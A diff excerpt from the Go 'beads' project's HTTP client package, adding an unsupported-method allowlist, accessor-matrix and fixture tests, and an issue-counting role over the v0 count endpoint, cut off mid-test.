whole types.IssueFilter, whose members the count operation does not publish (role: Counter)", + "CountIssuesByGroup": "count: raw grouped issue count over the same wider filter (role: Counter)", + + // THERE ARE TWO EVENT PLANES AND THIS BLOCK IS ABOUT ONE OF THEM, which is + // the disambiguation the entries below used to leave unstated. "events: no + // wire surface" read as false the day GET /v0/beads/events landed and this + // client started reading it (journal.go), and it was never about that plane + // at all — the same shape SetMetadata's entry has to spell out for the two + // metadata planes. + // + // The five methods here are the AUDIT plane: storage.DoltStorage's own + // types.Event log, read by time or by issue id. No v0 operation touches it. + // The DURABLE MUTATION JOURNAL is a different question with a different + // record type, and this client serves it — journalops.Journal is not on + // storage.DoltStorage, so it sits on *Store as a type assertion a caller + // makes rather than as an accessor, and it is out of this allowlist's + // denominator entirely. + "EventsSince": "events (AUDIT plane): no wire surface for the types.Event log; the mutation JOURNAL is journalops.Journal over GET /v0/beads/events and is served", + "GetAllEventsSince": "events (AUDIT plane): no wire surface; see EventsSince", + "GetEvents": "events (AUDIT plane): no wire surface; see EventsSince", + "IterAllEventsSince": "events (AUDIT plane): no wire surface, and streaming has no wire shape either; see EventsSince", + "IterEvents": "events (AUDIT plane): no wire surface, and streaming has no wire shape either; see EventsSince", + + // Dependency and blocked-set raw reads. The served dependency surface is + // anchored (listDependencies takes >=1 issue_id) and role-shaped; these are + // the unanchored or off-role shapes. `bd blocked` and `bd ready --explain` + // refuse on these, which is why they are named in D7's refused class. + "DetectCycles": "raw read: role CycleDetector serves this shape", + "FindWispDependentsRecursive": "raw read: no recursive-dependents operation", + "GetAllDependencyRecords": "raw read: listDependencies is anchored (L8, `bd list --deps`)", + "GetBlockedIssues": "raw read: no blocked-set operation (`bd blocked`)", + "GetBlockingInfoForIssues": "raw read: role BlockingAnnotator serves this shape", + "GetDependencies": "raw read: role EdgeReader serves this shape", + "GetDependencyCounts": "raw read: the paired blocks-only batch, expressible as two GraphCounter calls with Types set to the blocking type — the role's own leaf declines to name it as a third method, and re-routing it here would invent the map-of-two-numbers shape no wire operation carries", + "GetDependencyTree": "raw read: role TreeWalker serves this shape", + "GetDependentRecords": "raw read: no dependents operation off getIssue", + "GetDependencyRecordsForIssues": "raw read: no multi-id dependencies operation; the source-keyed, multi-id mirror of GetDependentRecordsForIssues' target-keyed shape — same gap, opposite direction", + "GetDependentRecordsForIssues": "raw read: no multi-id dependents operation", + "GetDependents": "raw read: no dependents operation off getIssue", + "IsBlocked": "raw read: role BlockingAnnotator serves this shape", + "IsBlockedBatch": "raw read: role BlockingAnnotator serves this shape", + "IterAllDependencyRecords": "raw read: streaming has no wire shape", + "IterDependenciesWithMetadata": "raw read: streaming has no wire shape", + "IterDependentsWithMetadata": "raw read: streaming has no wire shape", + + // Comment reads beyond getIssue's include_comments. + "GetCommentCounts": "raw read: no comment-count operation", + "GetCommentsForIssues": "raw read: comments ride include_comments, one issue at a time", + "GetIssueCommentsPage": "raw read: no comment paging operation", + "IterIssueComments": "raw read: streaming has no wire shape", + + // Issue reads with no wire mapping. + "GetEpicsEligibleForClosure": "raw read: no epic-eligibility operation", + "GetIssueByExternalRef": "raw read: no external-ref lookup operation", + "GetIssuesByIDs": "raw read: multi-id fan-out belongs to the SearchIssues IDs shape", + "GetIssuesByLabel": "raw read: role Reader serves the label filter (ListRequest.Labels). It said \"no label-filtered operation\", and listIssues publishes label, label_any and exclude_label — the encoder sends all three. What is true is that Reader.List does not answer THIS question: this method unions the durable and wisp planes with no status, type or plane suppression at all and its own priority/created order, where the listing answers the durable plane under workapi's default suppressions. Re-routing it would be a second spelling that returns a different set", + "GetLabelsForIssues": "raw read: no multi-id label operation", + "GetNewlyUnblockedByClose": "raw read: no unblocked-by-close operation", + "GetNextChildID": "raw read: id allocation is a server-side act", + "GetStaleIssues": "raw read: no staleness operation", + "GetStatisticsNoBlocked": "raw read: getStats has no blocked-suppression variant", + "SearchIssueIDs": "raw read: no partial-id search operation (D11)", + "SearchIssueSummaries": "raw read: no summary-projection search operation; SearchIssues (role: Searcher) hydrates full issues, and the wire publishes no narrower searchIssues projection for list-shaped rendering to drop onto", + "SearchIssuesWithCounts": "raw read: no counts-bearing search operation", + + // Streaming iterators. Every wire read is a page, not a stream. + "IterBlockedIssues": "raw read: streaming has no wire shape", + "IterIssues": "raw read: streaming has no wire shape", + "IterReadyWork": "raw read: streaming has no wire shape", + "IterWisps": "raw read: streaming has no wire shape", + "ListWisps": "raw read: no operation answers the EPHEMERAL PLANE ALONE. listIssues' include_ephemeral admits that plane into a merged listing (which is why L1 retired), and a merged page is not this method's answer", + + // Molecule progress reads. + "GetMoleculeLastActivity": "raw read: no molecule operation", + "GetMoleculeProgress": "raw read: no molecule operation", + + // Transactions. A multi-statement transaction cannot span HTTP requests; + // each wire write is its own transaction server-side. + "RunInTransaction": "transaction: cannot span requests", + "RunInIssueLifecycleTransaction": "transaction: cannot span requests", +} + +var shellMethodRe = regexp.MustCompile(`func \(unsupportedDoltStorage\) ([A-Za-z0-9]+)\(`) + +// TestInterfaceCompleteness is the STRUCTURAL half: the generated refusing shell +// must equal the allowlist exactly. A method that drifts into the shell without +// a reason is a silent capability loss; an allowlist entry no longer in the +// shell is a stale justification for something now implemented. +func TestInterfaceCompleteness(t *testing.T) { + data, err := os.ReadFile("unsupported_gen.go") + if err != nil { + t.Fatalf("read unsupported_gen.go: %v", err) + } + shell := map[string]bool{} + for _, m := range shellMethodRe.FindAllStringSubmatch(string(data), -1) { + shell[m[1]] = true + } + if len(shell) == 0 { + t.Fatal("parsed 0 shell methods — regex or file drift") + } + + var names []string + for name := range shell { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + if _, ok := legitimatelyUnsupported[name]; !ok { + t.Errorf("method %q resolves to the typed-unsupported shell but is NOT in legitimatelyUnsupported: "+ + "implement it on *Store (then regenerate the shell: go generate ./internal/httpclient), or add it here with a reason", name) + } + } + + names = names[:0] + for name := range legitimatelyUnsupported { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + if !shell[name] { + t.Errorf("method %q is in legitimatelyUnsupported but no longer in the shell (implemented?): "+ + "remove the allowlist entry", name) + } + } +} + +// TestUnsupportedContract is the BEHAVIORAL half: every allowlisted method must +// really return a typed *storage.ErrUnsupported naming itself. DB-free and +// network-free — the generated stubs ignore their receiver, so a zero-value +// store answers them. +func TestUnsupportedContract(t *testing.T) { + conformance.RunUnsupportedContract(t, &Store{}, legitimatelyUnsupported) +} + +// wireBackedAccessors is design D8's matrix, spelled as code: the role accessors +// with a v0 operation behind them. +// +// THE THREE QUALIFIERS THIS LINE CARRIED ARE DOWN TO ONE. It read "one partial — +// WorkspaceConfig, whose write verbs have no operation — and two composed, +// ReadyClaimer and BatchCloser", and client wave ga-jpywb falsified two of the +// three clauses. WorkspaceConfig is no longer partial: #5596 published both +// write verbs and the accessor dials them, so the partial column is EMPTY. +// ReadyClaimer is no longer composed in the sense this line meant it: it dials +// claimNext (#5510) and keeps the composition only as a capability-gated +// down-level leg, which is a fallback rather than the way the role is served. +// BatchCloser is the last one, and it has the same shape for the same reason — +// issues.batchClose where advertised, a single closeIssue where not. +// +// So the qualifier that survives is "one accessor whose down-level leg is a +// composition, and one more beside it", which is a statement about SERVER AGE +// rather than about the wire's surface. The distinction is worth keeping +// separate from the count below: every name here has a v0 operation behind it +// today, and that was not true when the list was written. +// +// IssueLifecycle left the partial column with client wave ga-jbuyf: createIssue +// was the operation its Create half had nothing to dial, and upstream #5483 +// published it. +// +// The design page records seventeen because its row 17 was PENDING-DECISION when +// it was written. The decision recorded on ga-141ra moved BatchCloser across: +// `bd close` routes every id, single-id included, through CloseBatch, so leaving +// it refused left an http workspace with no close path at all while the server +// advertised issues.close to nobody. +// +// MetadataCAS and BatchApplier are the two the upstream sync added +// (compareAndSetMetadata #5473, applyBatch #5480), and they were the whole +// population of pendingWireBackedAccessors below, which is what that list was +// written for. MetadataCAS left it with client wave ga-7i6by. +// Counter and GraphCounter are the twenty-first and twenty-second, from client +// wave ga-icks1: countIssues (#5508) and dependencies.count (#5536) were both +// published by the wave-2 wire sync and both accessors landed with the same +// wave, so neither spent a PR in pendingWireBackedAccessors below. +// +// Releaser, Commenter and IssueRelations are the twenty-third, twenty-fourth +// and twenty-fifth, from client wave ga-f352s. All three had been published +// upstream ahead of this client — releaseIssue #5507, addComment #5594, +// listRelatedIssues #5540 — and all three landed in ONE wave, so none of them +// spent a PR in pendingWireBackedAccessors either. What they have in common is +// the shape of the port rather than the shape of the operation: each maps member +// for member, and what each one cost was a decision about the ANSWER — an +// anonymous post-state, a stored row that must not be discarded, and a +// single-anchor miss that is a 404 rather than a sentinel. +// +// ReadyLister is NOT in this list. S3 reconciliation (2026-10) removed it: bd-enterprise's issueops.ReadyLister/ReadyListRequest/ +// ReadyListing have no OSS counterpart at all — there is no v0 route table +// entry and no role type to accept one — so there is nothing for an accessor +// to return. S13 schedules it; until then this is a twenty-fifth row neither +// here nor in refusingAccessors, because OSS's storage.DoltStorage does not +// define a ReadyLister method for the matrix to count either way. +// BatchGetter is the twenty-sixth, and the first accessor added to this +// matrix since client wave ga-f352s: S3 reconciliation's own rebase onto +// origin/main brought in upstream #7248's issueops.BatchGetter (the +// batchGetIssues operation, POST /v0/beads/issues:batchGet), which +// storage.DoltStorage now requires of every leg. Unlike every accessor +// before it, it was never a bare interface-completeness stub waiting on a +// client wave of its own — it arrived as a brand-new role on the SAME PR +// that wired it, so it spent no PR in pendingWireBackedAccessors below. See +// batchgetter.go. +var wireBackedAccessors = []string{ + "IssueReader", "ReadyCounter", "IssueClaimer", "ReadyClaimer", "Querier", + "StatsReporter", "CycleDetector", "TreeWalker", "EdgeReader", + "BlockingAnnotator", "WorkspaceConfig", "Sweeper", "Deleter", "BatchCreator", + "Memories", "IssueLifecycle", "DependencyEditor", "BatchCloser", + "MetadataCAS", "BatchApplier", "Counter", "GraphCounter", + "Releaser", "Commenter", "IssueRelations", "BatchGetter", +} + +// refusingAccessors is the complement: the ones with no wire operation at all. +// +// IT NO LONGER HAS A SECOND CLAUSE. The list used to read "or with one this +// client has no wave behind yet", and three of its six names were in that second +// state — Releaser, Commenter and IssueRelations, each with a complete operation +// upstream and no accessor here. Client wave ga-f352s wired all three, so what +// is left is the first clause alone: three acts that are about a database this +// process does not have, which no wire operation will ever answer for a client. +var refusingAccessors = []string{ + "VersionReconciler", "Bootstrapper", "InitVerifier", +} + +// pendingWireBackedAccessors are the wire-backed rows of D8's matrix whose role +// is not wired YET: the server advertises the operation, but the accessor still +// refuses through (*Store).unsupported until its role bead lands. They are a +// subset of wireBackedAccessors, split out so the behavioral probe can demand +// that every OTHER wire-backed accessor already returns a live role while these +// still refuse — which is what forces a flip to move the name across in the same +// PR as the wiring. +// +// IT WAS EMPTY, and the case it was kept for arrived: "a v0 operation landing +// upstream tomorrow gets an accessor that refuses for exactly one PR, and this +// is the list that says so out loud." Two did — compareAndSetMetadata (#5473) +// and applyBatch (#5480) — and their accessors refused in accessors.go until +// the ports landed. MetadataCAS's did, with client wave ga-7i6by, and moving +// its name out of this list was not optional: the probe below fails the day a +// pending role starts answering, which is the flip rule enforced behaviorally. +// +// Leaving these OFF the matrix entirely was the alternative, and it is the one +// that hides them: an accessor named nowhere is an accessor no gate reads, so +// nothing would have failed on the day one was wired without review. +// IT IS EMPTY AGAIN, and that is the list working rather than the list being +// pointless: both names that entered it have left it through the flip rule the +// probe below enforces — MetadataCAS with client wave ga-7i6by, BatchApplier +// with ga-mijra — and the next operation the wire publishes ahead of its client +// wave lands here for exactly one PR. +var pendingWireBackedAccessors = []string{} + +// TestAccessorMatrixMatchesDesign pins the 25/3 split against the allowlist so a +// role accessor cannot change sides without the design row changing with it. +// +// The numbers are the LIST's, not a literal: the design page recorded 20/8 when +// it was written and five accessors have crossed since (Counter and GraphCounter +// with ga-icks1; Releaser, Commenter and IssueRelations with ga-f352s). The +// three that remain refusing are permanently unservable, so this ratio only +// moves again if the tier itself grows. +// +// S3 reconciliation removed ReadyLister from both sides of this split: OSS has +// no issueops.ReadyLister at all (S13), so there is no accessor name for the +// matrix to count on either the wire-backed or the refusing side. +// This is the capability-matrix flip rule applied to the store: a refuse→served +// flip lands in the same PR as the method that serves it. +func TestAccessorMatrixMatchesDesign(t *testing.T) { + if got, want := len(wireBackedAccessors)+len(refusingAccessors), 29; got != want { + t.Fatalf("the matrix covers %d accessors, want %d", got, want) + } + for _, name := range wireBackedAccessors { + if reason, ok := legitimatelyUnsupported[name]; ok { + t.Errorf("%q is wire-backed in D8 but sits on the unsupported allowlist (%q): "+ + "it belongs in accessors.go, refusing until its role bead lands", name, reason) + } + } + for _, name := range refusingAccessors { + if _, ok := legitimatelyUnsupported[name]; !ok { + t.Errorf("%q refuses in D8 but is not on the unsupported allowlist", name) + } + } +} + +// TestWireBackedAccessorsAreBehaviorallyWired is the behavioral half of the +// matrix. TestAccessorMatrixMatchesDesign pins the split STRUCTURALLY — which +// names sit on the unsupported allowlist — but cannot tell a wired accessor from +// one still handing back (*Store).unsupported, because both compile and both +// satisfy the interface. This one CALLS each accessor: a wired one must not +// return the typed sentinel for a valid call, and a pending one must. So 'wired' +// comes to MEAN 'does not refuse', and the day a pending role is wired this test +// fails until its name moves out of pendingWireBackedAccessors — the flip rule, +// enforced behaviorally. +func TestWireBackedAccessorsAreBehaviorallyWired(t *testing.T) { + pending := map[string]bool{} + for _, name := range pendingWireBackedAccessors { + if !slices.Contains(wireBackedAccessors, name) { + t.Errorf("%q is listed pending but is not a wire-backed accessor", name) + } + pending[name] = true + } + + // A store with a transport, so the accessors that narrow it (roleWire) build + // their role rather than reporting the no-transport build fault. Constructing a + // role dials nothing, and neither does (*Store).unsupported, so this stays a + // server-free smoke. + s := New(testTarget(t), &fakeWire{res: &apigen.ContextResponse{}}, nil) + + for _, name := range wireBackedAccessors { + method := reflect.ValueOf(s).MethodByName(name) + if !method.IsValid() { + t.Errorf("%q is not a method on *Store", name) + continue + } + out := method.Call(nil) + if len(out) != 2 { + t.Errorf("%s returns %d values, want (role, error)", name, len(out)) + continue + } + err, _ := out[1].Interface().(error) + + var unsup *storage.ErrUnsupported + refused := err != nil && errors.As(err, &unsup) + switch { + case pending[name]: + if !refused { + t.Errorf("%s is listed pending but does NOT return the typed sentinel (err=%v): "+ + "its role is wired — move it out of pendingWireBackedAccessors", name, err) + } + case refused: + t.Errorf("%s is wire-backed but still returns the typed sentinel (%v): "+ + "wire its role, or list it in pendingWireBackedAccessors", name, err) + case err != nil: + t.Errorf("%s returned a non-sentinel error on a valid call: %v", name, err) + } + } +} diff --git a/internal/httpclient/composition_test.go b/internal/httpclient/composition_test.go new file mode 100644 index 000000000..4025df8e4 --- /dev/null +++ b/internal/httpclient/composition_test.go @@ -0,0 +1,143 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/composition_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/storage" +) + +// The served-surface composition fixture shape. +// +// Behavior parity for this backend is proved by running the per-role conformance +// contracts through client → in-process `bd serve` → reference store, never by +// bare RunAll: RunAll's Factory contract wants a write-ready store and its cases +// seed through raw CreateIssue/SetConfig, both of which this backend refuses. +// +// The binding rule that makes the composition honest is that SEEDING NEVER GOES +// THROUGH THE CLIENT. Each fixture's seed handles bind to the reference store the +// server serves; only the subject role binds to the http client. A fixture that +// seeded through the client would prove the client agrees with itself. +// +// This bead bootstraps the shape and its invariants. Standing up the in-process +// server and wiring the per-role contracts onto it is ga-soq7e's work. + +// servedFixture is what a per-role contract binds against. +type servedFixture struct { + // Reference is the store the server serves — the seed handle. Contracts + // write their preconditions here. + Reference storage.DoltStorage + // Subject is the http client store under test. Contracts read and exercise + // the role through this and only this. + Subject *Store + // BaseURL is the address the in-process server bound. + BaseURL string +} + +// errSeedsThroughClient reports the one binding that silently invalidates every +// contract run through the fixture. +var errSeedsThroughClient = errors.New( + "served fixture seeds through the client: the seed handle must be the server's reference " + + "store, or the contract proves only that the client agrees with itself") + +// checkFixtureBinding validates a binding before it is used. It is separate from +// newServedFixture so the invariant itself is testable without a live harness. +func checkFixtureBinding(reference storage.DoltStorage, subject *Store) error { + if reference == nil { + return errors.New("served fixture needs a reference store to seed through") + } + if subject == nil { + return errors.New("served fixture needs a client store as its subject") + } + if reference == storage.DoltStorage(subject) { + return errSeedsThroughClient + } + return nil +} + +// newServedFixture binds a reference store and a client store into the shape +// above. +func newServedFixture(t *testing.T, reference storage.DoltStorage, subject *Store, baseURL string) servedFixture { + t.Helper() + if err := checkFixtureBinding(reference, subject); err != nil { + t.Fatal(err) + } + return servedFixture{Reference: reference, Subject: subject, BaseURL: baseURL} +} + +// bindRole is how a role contract asks the fixture for its subject. It returns +// the accessor's error unchanged, so a contract wired before its role bead lands +// FAILS rather than skips — refusals are owned by the unsupported contract, not +// by skipped conformance cases. +func (f servedFixture) bindRole(bind func(*Store) error) error { + return bind(f.Subject) +} + +// stubReference is a placeholder seed handle: it exists so the fixture shape can +// be exercised before the in-process server harness lands. ga-soq7e replaces it +// with the real embedded-Dolt store the server serves. +type stubReference struct{ *Store } + +// TestFixtureBindingRejectsSeedingThroughTheClient pins the invariant. It is the +// one thing about the composition that cannot be checked by reading the fixture +// wiring later, once there are seventeen of them. +func TestFixtureBindingRejectsSeedingThroughTheClient(t *testing.T) { + subject := New(testTarget(t), &fakeWire{res: &apigen.ContextResponse{}}, nil) + + if err := checkFixtureBinding(subject, subject); !errors.Is(err, errSeedsThroughClient) { + t.Errorf("binding the client as its own seed handle = %v, want a refusal", err) + } + if err := checkFixtureBinding(nil, subject); err == nil { + t.Error("binding with no reference store was accepted") + } + if err := checkFixtureBinding(stubReference{subject}, nil); err == nil { + t.Error("binding with no subject was accepted") + } +} + +// TestServedFixtureBindsSubjectAndReferenceApart is the positive arm. +func TestServedFixtureBindsSubjectAndReferenceApart(t *testing.T) { + subject := New(testTarget(t), &fakeWire{res: &apigen.ContextResponse{}}, nil) + reference := stubReference{New(testTarget(t), nil, nil)} + + f := newServedFixture(t, reference, subject, "http://127.0.0.1:7777") + if f.Subject != subject { + t.Error("fixture bound the wrong subject") + } + if f.Reference == storage.DoltStorage(f.Subject) { + t.Error("fixture bound one store as both seed handle and subject") + } +} + +// TestServedFixtureRoleBindingFailsRatherThanSkips: until a role bead lands, its +// accessor refuses, and a contract wired against it must surface that refusal. +func TestServedFixtureRoleBindingFailsRatherThanSkips(t *testing.T) { + subject := New(testTarget(t), &fakeWire{res: &apigen.ContextResponse{}}, nil) + reference := stubReference{New(testTarget(t), nil, nil)} + f := newServedFixture(t, reference, subject, "http://127.0.0.1:7777") + + // VersionReconciler is the sample: this case needs an ACCESSOR — that is what + // bindRole takes — and it asserts only the typed sentinel and its Op, both + // of which the generated shell's refusal carries. So unlike the two refusal + // tests in store_test.go it does not need a store-bound refusal, and it must + // use one of the accessors that refuses PERMANENTLY rather than one that + // eventually flips. + // + // It used to be Commenter, chosen when that was one of seven permanent + // refusals. It stopped being one: #5594 published addComment and client wave + // ga-f352s wired the accessor, so this case failed the day the role started + // answering — which is the flip rule finding a second, unplanned home. The + // sample is now a role no wire operation can ever answer for a client: + // version markers are clone-local, so there is nothing for a server to serve. + err := f.bindRole(func(s *Store) error { + _, err := s.VersionReconciler() + return err + }) + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Op != "VersionReconciler" { + t.Fatalf("role binding returned %v, want the typed refusal naming VersionReconciler", err) + } +} diff --git a/internal/httpclient/counter.go b/internal/httpclient/counter.go new file mode 100644 index 000000000..8fe62e1ea --- /dev/null +++ b/internal/httpclient/counter.go @@ -0,0 +1,191 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/counter.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + "slices" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// httpCounter is issueops.Counter over countIssues (GET /v0/beads/issues:count) +// — the operation behind `bd count`, and the TWENTY-FIRST wire-backed accessor. +// +// ONE OPERATION, TWO METHODS. `group_by` chooses between them, which is the +// role's own shape rather than this layer's: a grouped count is the scalar +// count plus a dimension, asked of the same set. So both methods encode through +// one builder and dial one path, and the only thing that differs is the one +// parameter and the one response member. +// +// WHAT A COUNT MAKES DIFFERENT from every other read here is that its answer +// carries no evidence of the set it came from. A listing that quietly widened +// hands back rows a caller can look at; a count hands back a number, and a +// number computed from a filter this client forgot to send is indistinguishable +// from the right one. That is why the encoder's refusal walk runs on a request +// whose every member the wire publishes: today it refuses nothing, and the day +// upstream adds a twenty-fourth member it refuses rather than answering about a +// wider set. +type httpCounter struct{ store *Store } + +// Count returns how many issues match. +func (c httpCounter) Count(ctx context.Context, req issueops.CountRequest) (issueops.CountResult, error) { + if err := c.refuseUnservedScope(ctx, "Counter.Count", req); err != nil { + return issueops.CountResult{}, err + } + params, err := encode.CountParams(req) + if err != nil { + return issueops.CountResult{}, c.store.inexpressible("Counter.Count", err) + } + var body apigen.IssueCount + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpCountIssues, + Method: http.MethodGet, + Path: wire.PathIssuesCount, + Query: params, + }, &body); err != nil { + return issueops.CountResult{}, err + } + // Total is int64 end to end — apigen's member, the role's result and the + // document's `format: int64` are one width. A workspace's row count is not + // bounded by 2^53, and a lossy read would answer a number NEAR the + // cardinality, which on a count is worse than an error because nothing + // downstream can tell. + return issueops.CountResult{Total: body.Total}, nil +} + +// CountByGroup returns the same count bucketed by one dimension, plus the +// scalar total of the whole matching set. +func (c httpCounter) CountByGroup(ctx context.Context, req issueops.CountByGroupRequest) (issueops.CountByGroupResult, error) { + if err := validateCountGroup(req.GroupBy); err != nil { + return issueops.CountByGroupResult{}, err + } + if err := c.refuseUnservedScope(ctx, "Counter.CountByGroup", req.Filter); err != nil { + return issueops.CountByGroupResult{}, err + } + params, err := encode.CountByGroupParams(req) + if err != nil { + return issueops.CountByGroupResult{}, c.store.inexpressible("Counter.CountByGroup", err) + } + var body apigen.IssueCount + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpCountIssues, + Method: http.MethodGet, + Path: wire.PathIssuesCount, + Query: params, + }, &body); err != nil { + return issueops.CountByGroupResult{}, err + } + groups, err := decodeCountGroups(body.Groups) + if err != nil { + return issueops.CountByGroupResult{}, err + } + // Total is NOT the sum of the buckets and is not recomputed from them here: + // label buckets overlap, so an issue carrying three labels is one row in the + // total and one row in three buckets. The server answers both numbers and + // this reads both. + return issueops.CountByGroupResult{Groups: groups, Total: body.Total}, nil +} + +// refuseUnservedScope is the pre-dial half of S8's client-skew note +// (internal/httpapi/routes.go, beside CapIssuesCountScope): a request that +// sets ParentID, NoParent, ExcludeTypes or ExcludeStatus asks for something +// only a server advertising issues.count.scope answers, and an older server +// predating the token answers all four with a guaranteed 400 +// invalid_argument/unknown_parameter. +// +// It is called BEFORE encode.CountParams/CountByGroupParams, so a server that +// cannot serve the scope never sees the request at all — never a wasted round +// trip for a guaranteed refusal, and never a silent drop of the fields that +// would answer a wider count than the caller asked for. The dispatch path's +// own Preflight (dispatch.go) only gates the OPERATION as a whole via its +// coarse per-op token (issues.count); it has no visibility into which fields +// a particular request populates, which is why this finer-grained behavior +// check has to live here, explicitly, rather than ride the generic path. +// +// A request with none of the four fields set never dials the handshake for +// this check at all — snapshot() is only consulted when there is something to +// gate, so a plain, scope-free count against an old server pays nothing extra. +func (c httpCounter) refuseUnservedScope(ctx context.Context, op string, req issueops.CountRequest) error { + if req.ParentID == "" && !req.NoParent && len(req.ExcludeTypes) == 0 && len(req.ExcludeStatus) == 0 { + return nil + } + snap, err := c.store.snapshot(ctx) + if err != nil { + return err + } + if slices.Contains(snap.Capabilities, wire.CapCountScope) { + return nil + } + return c.store.unsupportedCapability(op, wire.CapCountScope) +} + +// countGroups is the closed bucketing vocabulary, spelled with the ROLE's +// constants rather than as strings. +// +// It is the client-side twin of internal/httpapi's list of the same name, and +// it is redeclared rather than imported for list_walk.go's reason: +// internal/workapi — where ValidateCountGroup lives — is denied to this package +// by depguard. TestTheCountGroupVocabularyMatchesTheSharedOne pins it against +// that validator from a test file, where the rule does not apply. +var countGroups = []issueops.CountGroup{ + issueops.CountGroupStatus, + issueops.CountGroupPriority, + issueops.CountGroupType, + issueops.CountGroupAssignee, + issueops.CountGroupLabel, +} + +// validateCountGroup answers the role's own dimension refusal before the dial. +// +// An empty or unknown GroupBy is ErrValidation on THIS ROLE at every backend — +// counter.go says so, and a caller that misspelled a dimension and got zero +// buckets back has no way to tell that from a workspace with nothing in it. The +// operation refuses it too, naming the parameter, and that row is not redundant: +// what a server-side refusal cannot do is tell a caller their REQUEST is wrong +// rather than their server, which is validateCountReadyPage's argument exactly. +// +// The EMPTY dimension is refused with the rest and is the sharper half. The +// encoder would omit an empty `group_by`, the server would answer the scalar +// shape with no `groups` member, and a caller that asked for buckets would read +// "no buckets" — a wrong answer wearing the shape of a right one. +func validateCountGroup(group issueops.CountGroup) error { + if slices.Contains(countGroups, group) { + return nil + } + if group == "" { + return fmt.Errorf("%w: a grouped count needs a dimension (one of %v): a caller that wanted a number calls Count", + issueops.ErrValidation, countGroups) + } + return fmt.Errorf("%w: %q is not a count dimension (one of %v)", issueops.ErrValidation, group, countGroups) +} + +// decodeCountGroups reads the buckets off a grouped answer. +// +// PRESENCE IS THE CONTRACT and it is checked rather than trusted. `groups` is +// published as present exactly when the request carried `group_by`, and this +// request always does — so an absent or null member is a server that did not +// bucket. Reading either as an empty map would answer "nothing matched" to a +// question that may have matched thousands, which is the one failure mode a +// bucketed count has that a scalar one does not: every bucket that should have +// been there is simply gone, and the total beside it still looks right. +// +// The map is COPIED rather than handed back, so the answer cannot alias the +// decoded response body, and it is non-nil for the same reason the role promises +// non-nil: a caller ranges over it without checking. +func decodeCountGroups(groups *map[string]int) (map[string]int, error) { + if groups == nil || *groups == nil { + return nil, fmt.Errorf("bd serve answered a grouped count with no `groups` member: " + + "the operation publishes it whenever the request carries group_by, and an absent one cannot be told from a count with no buckets") + } + out := make(map[string]int, len(*groups)) + for key, count := range *groups { + out[key] = count + } + return out, nil +} diff --git a/internal/httpclient/counts_test.go b/internal/httpclient/counts_test.go new file mode 100644 index 000000000..af3c67793 --- /dev/null +++ b/internal/httpclient/counts_test.go @@ -0,0 +1,738 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/counts_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/url" + "reflect" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The two counting roles' own gates: the properties a served run cannot show, +// because a served run answers with the RIGHT number and the failure mode here +// is a number that looks equally right. +// +// Three of them recur and each has its own test below: a cardinality is 64 bits +// wide and must not be read through a float; a bucket map that arrives absent is +// not a bucket map that arrived empty; and an anchor's Missing flag is a +// SENTINEL rather than a zero, which is the only thing separating a typo from +// an issue that genuinely has no edges. + +// countingWire records the request each role dialed and answers with a body the +// test supplied. It answers the READ half of the seam only, which is all either +// role touches. +type countingWire struct { + fakeWire + dialed []wire.Request + body string + err error +} + +func newCountingWire(body string) *countingWire { + w := &countingWire{body: body} + w.preflight = func(context.Context, string) error { return nil } + w.do = func(_ context.Context, req wire.Request, out any) error { + w.dialed = append(w.dialed, req) + if w.err != nil { + return w.err + } + return json.Unmarshal([]byte(w.body), out) + } + return w +} + +func (w *countingWire) query(t *testing.T) url.Values { + t.Helper() + if len(w.dialed) != 1 { + t.Fatalf("dialed %d times, want exactly 1", len(w.dialed)) + } + return w.dialed[0].Query +} + +func countRole(t *testing.T, w *countingWire) issueops.Counter { + t.Helper() + counter, err := New(testTarget(t), w, nil).Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + return counter +} + +func graphCountRole(t *testing.T, w *countingWire) issueops.GraphCounter { + t.Helper() + counter, err := New(testTarget(t), w, nil).GraphCounter() + if err != nil { + t.Fatalf("GraphCounter(): %v", err) + } + return counter +} + +// TestACountIsReadAsSixtyFourBits is the decode convention, on both roles at +// once. +// +// The value is chosen so a float64 round trip is VISIBLE: 2^53+1 is the first +// integer a double cannot represent, and a lossy read answers 2^53 — a number +// near the cardinality, which on a count is worse than an error because nothing +// downstream can tell. The wire says `format: int64` on both members and the +// role's results are int64; this is what holds the client to it. +func TestACountIsReadAsSixtyFourBits(t *testing.T) { + const beyondFloat64 = int64(1)<<53 + 1 + + t.Run("the issue count's total", func(t *testing.T) { + w := newCountingWire(fmt.Sprintf(`{"total":%d}`, beyondFloat64)) + got, err := countRole(t, w).Count(t.Context(), issueops.CountRequest{}) + if err != nil { + t.Fatalf("Count: %v", err) + } + if got.Total != beyondFloat64 { + t.Errorf("Total = %d, want %d", got.Total, beyondFloat64) + } + }) + + t.Run("the grouped total", func(t *testing.T) { + w := newCountingWire(fmt.Sprintf(`{"total":%d,"groups":{"open":3}}`, beyondFloat64)) + got, err := countRole(t, w).CountByGroup(t.Context(), issueops.CountByGroupRequest{ + GroupBy: issueops.CountGroupStatus, + }) + if err != nil { + t.Fatalf("CountByGroup: %v", err) + } + if got.Total != beyondFloat64 { + t.Errorf("Total = %d, want %d", got.Total, beyondFloat64) + } + }) + + t.Run("an anchor's 